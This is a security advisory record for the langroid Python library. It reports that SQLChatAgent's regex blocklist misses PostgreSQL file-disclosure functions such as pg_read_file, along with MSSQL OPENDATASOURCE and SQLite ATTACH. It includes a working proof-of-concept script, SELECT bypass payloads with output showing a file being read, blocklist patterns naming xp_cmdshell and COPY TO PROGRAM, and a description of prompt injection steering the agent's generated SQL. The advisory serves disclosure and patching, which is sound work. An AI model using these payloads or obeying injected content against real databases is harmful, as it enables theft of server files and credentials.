{"id":"CVE-2026-50180","title":"Langroid: SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read","summary":"Langroid: SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read","severity":"high","cwe":["CWE-22","CWE-89"],"vendor":"langroid","product":"langroid","ecosystem":"pip","affected":["langroid <= 0.63.0"],"patched":["langroid 0.64.0"],"published":"2026-07-02","updated":"2026-07-02","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-pmch-g965-grmr","references":[{"url":"https://github.com/langroid/langroid/security/advisories/GHSA-pmch-g965-grmr"},{"url":"https://github.com/langroid/langroid/commit/00b7dd7b79c5d03c94be284cf3459d98195ebfba"},{"url":"https://github.com/advisories/GHSA-pmch-g965-grmr"}],"tags":["ghsa","pip"],"ingestedAt":"2026-07-02T18:41:45.706Z","epss":0.00686,"epssPercentile":0.5083,"slug":"CVE-2026-50180","body":"## Overview\n\n### Summary\n\n`SQLChatAgent` in `langroid` ships a `_validate_query` defense-in-depth layer\nwhose `_DANGEROUS_SQL_PATTERNS` regex blocklist enumerates dangerous SQL\nprimitives by specific function name. The list misses the canonical\nPostgreSQL filesystem-disclosure family `pg_read_file()`, `pg_stat_file()`,\n`pg_ls_logdir()`, `pg_ls_waldir()`, `pg_current_logfile()` (and similar\n`SELECT`-shaped functions in the same family). It also leaves SQL Server\n`OPENDATASOURCE` and SQLite `ATTACH '<file>' AS x` (DATABASE keyword\nomitted) unblocked.\n\nAn attacker able to shape the LLM's generated SQL (directly via prompt input\nor transitively via prompt-injection in data the LLM ingests) can read\narbitrary files from the PostgreSQL host through ordinary `SELECT` queries,\neven with the agent's strict default configuration\n(`allow_dangerous_operations=False`, `allowed_statement_types=['SELECT']`).\nThe payloads survive the statement-type allowlist (each is a `SELECT`) and\npass through the regex blocklist (none of the function names match), then\nreach the live SQLAlchemy engine via `SQLChatAgent.run_query`.\n\n### Affected versions\n\n`langroid` `<= 0.63.0` (latest at the time of this report; PyPI release\n2026-05-27). The vulnerable code path is\n`langroid/agent/special/sql/sql_chat_agent.py::_validate_query`, which\nconsults the module-level `_DANGEROUS_SQL_PATTERNS` literal at\n`sql_chat_agent.py:113-141`.\n\n### Privilege required\n\nAny caller able to influence the LLM-generated `RunQueryTool.query` string\nthat reaches `SQLChatAgent.run_query`. In a typical deployment this is any\nclient of a SQLChatAgent-backed service, or any upstream data source whose\ncontent the LLM is asked to read and summarise. No PostgreSQL credentials\nare required from the attacker; the agent holds them.\n\n### Vulnerable code\n\n`langroid/agent/special/sql/sql_chat_agent.py:113-141` (the\n`_DANGEROUS_SQL_PATTERNS` literal) and `sql_chat_agent.py:546-615` (the\n`_validate_query` method that consults it):\n\n```python\n# sql_chat_agent.py:113\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n    re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n    re.compile(r\"\\bpg_read_server_files?\\b\", re.IGNORECASE),\n    re.compile(r\"\\bpg_read_binary_file\\b\", re.IGNORECASE),\n    re.compile(r\"\\bpg_ls_dir\\b\", re.IGNORECASE),\n    re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n    re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n    re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n    re.compile(r\"\\battach\\s+database\\b\", re.IGNORECASE),\n    re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n    re.compile(r\"\\bopenrowset\\b\", re.IGNORECASE),\n    re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n    re.compile(\n        r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger)\\b\",\n        re.IGNORECASE,\n    ),\n    re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nThe blocklist is a list of `\\b<exact-token>\\b` literals. PostgreSQL ships\nseveral near-name functions on the same primitive that none of these match:\n\n| Function | What it returns | Matched by blocklist? |\n|---|---|---|\n| `pg_read_server_file('/path')` | file contents | yes (`pg_read_server_files?`) |\n| `pg_read_binary_file('/path')` | binary contents | yes |\n| `pg_ls_dir('/path')` | directory listing | yes |\n| `pg_read_file('/path')` | file contents | **no** (no `_server_` infix) |\n| `pg_stat_file('/path')` | size, mtime, ctime, atime, isdir | **no** |\n| `pg_ls_logdir()` | filenames in PostgreSQL log dir | **no** |\n| `pg_ls_waldir()` | WAL filenames and sizes | **no** |\n| `pg_ls_tmpdir()` | temp-dir listing | **no** |\n| `pg_ls_archive_statusdir()` | archive-status directory listing | **no** |\n| `pg_current_logfile()` | active server log path | **no** |\n\nEach of these is a `SELECT`-shaped function call. They pass the\n`sqlglot_exp.Select`-only statement-type allowlist applied at\n`sql_chat_agent.py:583-614`, then evade the regex blocklist (their names\ncontain no token the blocklist enumerates), then reach the SQLAlchemy\n`session.execute(text(query))` sink inside `SQLChatAgent.run_query` (line\n631 onwards).\n\nTwo non-PostgreSQL secondary gaps with the same regex-enumeration shape:\n\n- The SQLite pattern `\\battach\\s+database\\b` requires the literal\n  `DATABASE` keyword. Per the SQLite grammar\n  (https://www.sqlite.org/lang_attach.html) the keyword is optional:\n  `ATTACH '/path/to/db' AS x` is valid syntax and matches no entry in the\n  blocklist. Whether the agent rejects this via the statement-type\n  allowlist depends on how the configured `sqlglot` dialect parses it; on\n  PostgreSQL dialect parsing fails (sqlglot returns no `Select`) and the\n  statement-type check rejects, but a SQLite-dialect SQLChatAgent\n  (`database_uri=\"sqlite:///...\"`) returns the statement as\n  `sqlglot_exp.Attach`, which is not in the agent's `kind_map`, so the\n  generic `type(stmt).__name__.upper()` branch produces `\"ATTACH\"`. That\n  string is not in `_DEFAULT_ALLOWED_STATEMENTS` so the allowlist saves it\n  here; however any deployment that extends `allowed_statement_types` to\n  include `\"ATTACH\"` (e.g. to permit cross-schema connectivity) loses\n  this fallback and the regex misses.\n- The MSSQL pattern `\\bopenrowset\\b` blocks `OPENROWSET` but not the\n  closely-related `OPENDATASOURCE` function. Both can read\n  remote/UNC files and execute remote queries via an ad-hoc connection\n  string, e.g. a `SELECT` against\n  `OPENDATASOURCE('SQLNCLI11','Server=remote;Trusted_Connection=yes')`\n  qualified down to `master.sys.tables`.\n\n### Attack scenario\n\n`SQLChatAgent.run_query` (line 617 of `sql_chat_agent.py`) calls\n`self._validate_query(query)` (line 631) on the LLM-generated SQL. The\nLLM-generated SQL is shaped by upstream prompt content that crosses the\ntrust boundary: the user message, any tool result the LLM is asked to\nsummarise, any document the agent retrieves, and any row the agent reads\nback from its own database (the `RunQueryTool` result is fed back into the\nLLM history at `sql_chat_agent.py:712-720` of the same release).\n\nThe default config in `SQLChatAgentConfig` (lines 183-184) sets\n`allow_dangerous_operations=False` and `allowed_statement_types=[\"SELECT\"]`,\nwhich is the configuration `_validate_query` was added to support. The\nbypass primitives below are reachable under this default config because\neach is a syntactic `SELECT` whose function-call argument is the\ndisclosure vector.\n\n### Proof of concept\n\n`poc.py` (single-file, no external services beyond a transient PostgreSQL\nspawned via `testing.postgresql`):\n\n```python\n\"\"\"\nPoC: SQLChatAgent _validate_query bypass via PostgreSQL file-disclosure\nfamily pg_read_file / pg_stat_file / pg_ls_logdir / pg_ls_waldir /\npg_current_logfile.\n\"\"\"\n\nimport os\nimport re\nimport sys\nfrom typing import List, Optional\n\nPKG = \"/tmp/poc-langroid-bypass/venv/lib/python3.12/site-packages/langroid\"\nSRC = f\"{PKG}/agent/special/sql/sql_chat_agent.py\"\nassert os.path.exists(SRC), f\"Missing pinned langroid source: {SRC}\"\n\nimport sqlglot\nfrom sqlglot import expressions as sqlglot_exp\n\n\ndef load_patterns_from_pinned_source():\n    \"\"\"Extract _DANGEROUS_SQL_PATTERNS + _DEFAULT_ALLOWED_STATEMENTS from\n    the pinned langroid 0.63.0 sql_chat_agent.py without instantiating the\n    full agent stack (which needs an LLM config).\"\"\"\n    with open(SRC) as f:\n        source = f.read()\n    block = re.search(\n        r\"_DANGEROUS_SQL_PATTERNS:[^=]*=\\s*\\[(.*?)\\]\\s*\\n\", source, re.DOTALL,\n    )\n    ns = {\"re\": re, \"List\": list}\n    patterns = eval(\"[\" + block.group(1) + \"]\", ns)\n    allowed = eval(\n        re.search(\n            r\"_DEFAULT_ALLOWED_STATEMENTS:\\s*List\\[str\\]\\s*=\\s*(\\[.*?\\])\",\n            source, re.DOTALL,\n        ).group(1)\n    )\n    return patterns, allowed\n\n\ndef validate_query(query, patterns, allowed_statements, dialect=\"postgres\"):\n    \"\"\"Faithful reimplementation of SQLChatAgent._validate_query.\"\"\"\n    for pat in patterns:\n        if pat.search(query):\n            return f\"Rejected by pattern {pat.pattern!r}\"\n    allowed = {t.strip().upper() for t in allowed_statements}\n    try:\n        statements = sqlglot.parse(query, read=dialect)\n    except Exception as e:\n        return f\"Rejected: sqlglot parse failure: {e}\"\n    kind_map = {\n        sqlglot_exp.Select: \"SELECT\", sqlglot_exp.Insert: \"INSERT\",\n        sqlglot_exp.Update: \"UPDATE\", sqlglot_exp.Delete: \"DELETE\",\n        sqlglot_exp.Merge: \"MERGE\", sqlglot_exp.Create: \"CREATE\",\n        sqlglot_exp.Drop: \"DROP\", sqlglot_exp.Alter: \"ALTER\",\n        sqlglot_exp.TruncateTable: \"TRUNCATE\", sqlglot_exp.Command: \"COMMAND\",\n    }\n    for stmt in statements:\n        if stmt is None:\n            continue\n        kind = next(\n            (v for k, v in kind_map.items() if isinstance(stmt, k)),\n            type(stmt).__name__.upper(),\n        )\n        if kind not in allowed:\n            return f\"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}\"\n    return None\n\n\ndef main():\n    patched_patterns, allowed_statements = load_patterns_from_pinned_source()\n    print(f\"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}\")\n    print(f\"_DEFAULT_ALLOWED_STATEMENTS:   {allowed_statements}\")\n\n    import testing.postgresql\n    from sqlalchemy import create_engine, text\n\n    pg = testing.postgresql.Postgresql()\n    db_uri = pg.url()\n    engine = create_engine(db_uri)\n    with engine.connect() as conn:\n        pgdata = conn.execute(text(\"SHOW data_directory\")).scalar()\n    victim_rel = \"langroid_bypass_victim.txt\"\n    victim_abs = os.path.join(pgdata, victim_rel)\n    with open(victim_abs, \"w\") as f:\n        f.write(\"PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n\")\n    print(f\"=== Victim file at: {victim_abs}\")\n\n    bypass_payloads = [\n        (\"bypass.pg_read_file\", f\"SELECT pg_read_file('{victim_rel}')\"),\n        (\"bypass.pg_stat_file\", f\"SELECT pg_stat_file('{victim_rel}')\"),\n        (\"bypass.pg_ls_logdir\", \"SELECT pg_ls_logdir()\"),\n        (\"bypass.pg_ls_waldir\", \"SELECT pg_ls_waldir()\"),\n        (\"bypass.pg_current_logfile\", \"SELECT pg_current_logfile()\"),\n    ]\n\n    for label, query in bypass_payloads:\n        rej = validate_query(query, patched_patterns, allowed_statements, \"postgres\")\n        verdict = \"REJECTED\" if rej is not None else \"ALLOWED\"\n        print(f\"  [{verdict}] {label}: {query}\")\n        if verdict == \"ALLOWED\":\n            try:\n                with engine.connect() as conn:\n                    rows = conn.execute(text(query)).fetchall()\n                preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]\n                print(f\"     -> live engine returned rows={len(rows)} preview={preview}\")\n            except Exception as e:\n                print(f\"     -> live engine error: {type(e).__name__}: {str(e)[:120]}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### End-to-end reproduction\n\nRun against the latest published `langroid` release from PyPI; no external\nLLM provider, no API key, no Docker, just a transient `pg_ctl`-managed\nPostgreSQL spawned in-process by `testing.postgresql`. Captured transcript\nof the run is below.\n\n```bash\n# 1. Pin install the latest published release\npython3.12 -m venv /tmp/poc-langroid-bypass/venv\nsource /tmp/poc-langroid-bypass/venv/bin/activate\npip install 'langroid==0.63.0' 'testing.postgresql' 'sqlglot' 'sqlalchemy<2.1'\n\n# 2. Drop poc.py from the Proof-of-concept section above into\n#    /tmp/poc-langroid-bypass/poc.py and run it\npython /tmp/poc-langroid-bypass/poc.py\n```\n\nObserved transcript (abridged to bypass results; the run also verifies\nthat the four primitives the current blocklist already covers\n(`COPY ... TO PROGRAM`, `pg_read_server_file`, `pg_read_binary_file`,\n`pg_ls_dir`) continue to be REJECTED, confirming the proposed fix is\nstrictly broader, not narrower):\n\n```text\n_DANGEROUS_SQL_PATTERNS count: 17\n_DEFAULT_ALLOWED_STATEMENTS:   ['SELECT']\n=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test\n=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt\n\nPATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)\n  [ALLOWED]  bypass.pg_read_file        SELECT pg_read_file('langroid_bypass_victim.txt')\n  [ALLOWED]  bypass.pg_stat_file        SELECT pg_stat_file('langroid_bypass_victim.txt')\n  [ALLOWED]  bypass.pg_ls_logdir        SELECT pg_ls_logdir()\n  [ALLOWED]  bypass.pg_ls_waldir        SELECT pg_ls_waldir()\n  [ALLOWED]  bypass.pg_current_logfile  SELECT pg_current_logfile()\n\nLIVE EXECUTION OF BYPASS PAYLOADS (postgres only)\n  [EXECUTED] bypass.pg_read_file        -> rows=1 preview=[('PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n',)]\n  [EXECUTED] bypass.pg_stat_file        -> rows=1 preview=[('(35,\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",,',)]\n  [EXECUTED] bypass.pg_ls_waldir        -> rows=1 preview=[('(000000010000000000000001,16777216,\"2026-05-28 10:11:19+08\")',)]\n  [EXECUTED] bypass.pg_current_logfile  -> rows=1 preview=[('None',)]\n\nNEGATIVE CONTROL — SUGGESTED FIX VALIDATOR\n  [REJECTED] bypass.pg_read_file        -> OK\n  [REJECTED] bypass.pg_stat_file        -> OK\n  [REJECTED] bypass.pg_ls_logdir        -> OK\n  [REJECTED] bypass.pg_ls_waldir        -> OK\n  [REJECTED] bypass.pg_current_logfile  -> OK\n  [REJECTED] already_blocked.copy_program        -> OK\n  [REJECTED] already_blocked.pg_read_server_file -> OK\n  [REJECTED] already_blocked.pg_read_binary_file -> OK\n  [REJECTED] already_blocked.pg_ls_dir           -> OK\n```\n\nThe headline payload `SELECT pg_read_file('langroid_bypass_victim.txt')`\nreturns the marker string verbatim from the file on disk. The same SQL,\nissued by an LLM under prompt-injection through any data source the agent\nreads, would land identically — the validator is purely a function of the\nSQL string and is consulted before the SQLAlchemy execute.\n\n`_validate_query` is invoked directly rather than through a fully\ninitialised `SQLChatAgent` because the agent's `__init__` builds the LLM\nstack and demands a working LLM API key (or a stub). The security\ncontrol under test is purely a function of `(query, patterns,\nallowed_statements, dialect)`, so the direct call is observationally\nequivalent to a call via `run_query`. Patterns and allowed-statements are\nloaded by reading the pinned `sql_chat_agent.py` source out of the venv,\nguaranteeing no drift between PoC and shipped binary.\n\n### Impact\n\n- **Arbitrary file read** from the PostgreSQL host: `pg_read_file()` reads\n  files from PGDATA-relative paths by default and can take absolute paths\n  when the DB role holds `pg_read_server_files` (or equivalent in\n  managed-Postgres setups). For self-managed PostgreSQL deployments the\n  DB role is frequently a superuser, in which case absolute paths are\n  always accepted and the impact extends to `postgresql.conf`,\n  `pg_hba.conf`, `~/.pgpass`, TLS keys, and any other file readable by\n  the PostgreSQL OS user.\n- **Filesystem reconnaissance** via `pg_stat_file()` (file existence,\n  size, mtime, isdir), `pg_ls_logdir()`, `pg_ls_waldir()`,\n  `pg_ls_tmpdir()`, `pg_ls_archive_statusdir()`,\n  `pg_current_logfile()`.\n- **MSSQL extension:** `OPENDATASOURCE` reaches remote SQL Servers and\n  UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL\n  deployments.\n- **SQLite extension:** `ATTACH '<path>' AS schemaname` (DATABASE keyword\n  omitted) allows reading/writing arbitrary SQLite files on deployments\n  whose `allowed_statement_types` include `\"ATTACH\"`.\n\n### Suggested fix\n\nPatch `_DANGEROUS_SQL_PATTERNS` to cover the full family rather than\nindividual function names. Two compatible approaches; either is enough.\n\nApproach 1 — family-prefix regex (minimal change, simplest to review):\n\n```python\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n    re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n    # Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile\n    # family. Covers pg_read_file, pg_read_server_file(s),\n    # pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,\n    # pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,\n    # pg_current_logfile, plus any future siblings PostgreSQL adds.\n    re.compile(\n        r\"\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(\",\n        re.IGNORECASE,\n    ),\n    re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n    re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n    re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n    re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n    # SQLite grammar: ATTACH [DATABASE] expr AS schema-name.\n    # The DATABASE keyword is optional; match either form.\n    re.compile(r\"\\battach\\b(\\s+database)?\\s+['\\\"\\w]\", re.IGNORECASE),\n    re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n    re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n    re.compile(r\"\\b(openrowset|opendatasource)\\b\", re.IGNORECASE),\n    re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n    re.compile(\n        r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger|language|rule|event\\s+trigger|foreign\\s+table)\\b\",\n        re.IGNORECASE,\n    ),\n    re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nApproach 2 — `sqlglot` AST walk in addition to regex. `sqlglot` is already\nimported by `sql_chat_agent.py`; iterate every function-call node\n(`sqlglot_exp.Anonymous` / `sqlglot_exp.Func`) inside the parsed\nstatements and reject when the lower-cased name starts with `pg_read`,\n`pg_stat`, `pg_ls`, `pg_current_logfile`, `lo_`, or matches the MSSQL\nextended-procedure prefixes (`xp_`, `sp_oa`). AST matching is robust to\nwhitespace, comments, and case games inside identifiers, at the cost of\nbroader per-dialect maintenance. For closing the immediate gap, Approach\n1 is sufficient.\n\nRegression-test the additions in\n`tests/main/sql_chat/test_sql_chat_security.py` alongside the existing\nsecurity tests. A natural 7-case extension covers the 5 PostgreSQL\nbypass payloads, the SQLite `ATTACH ... AS x` form, and the MSSQL\n`OPENDATASOURCE` form.\n\n### Fix PR\n\nA private temp-fork PR applying the **Suggested fix** Approach 1 diff,\nplus the regression tests described above, accompanies this advisory:\nhttps://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1\n\n### Credit\n\nReported by tonghuaroot.\n\n## Affected packages\n\n- `langroid <= 0.63.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `langroid 0.64.0`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}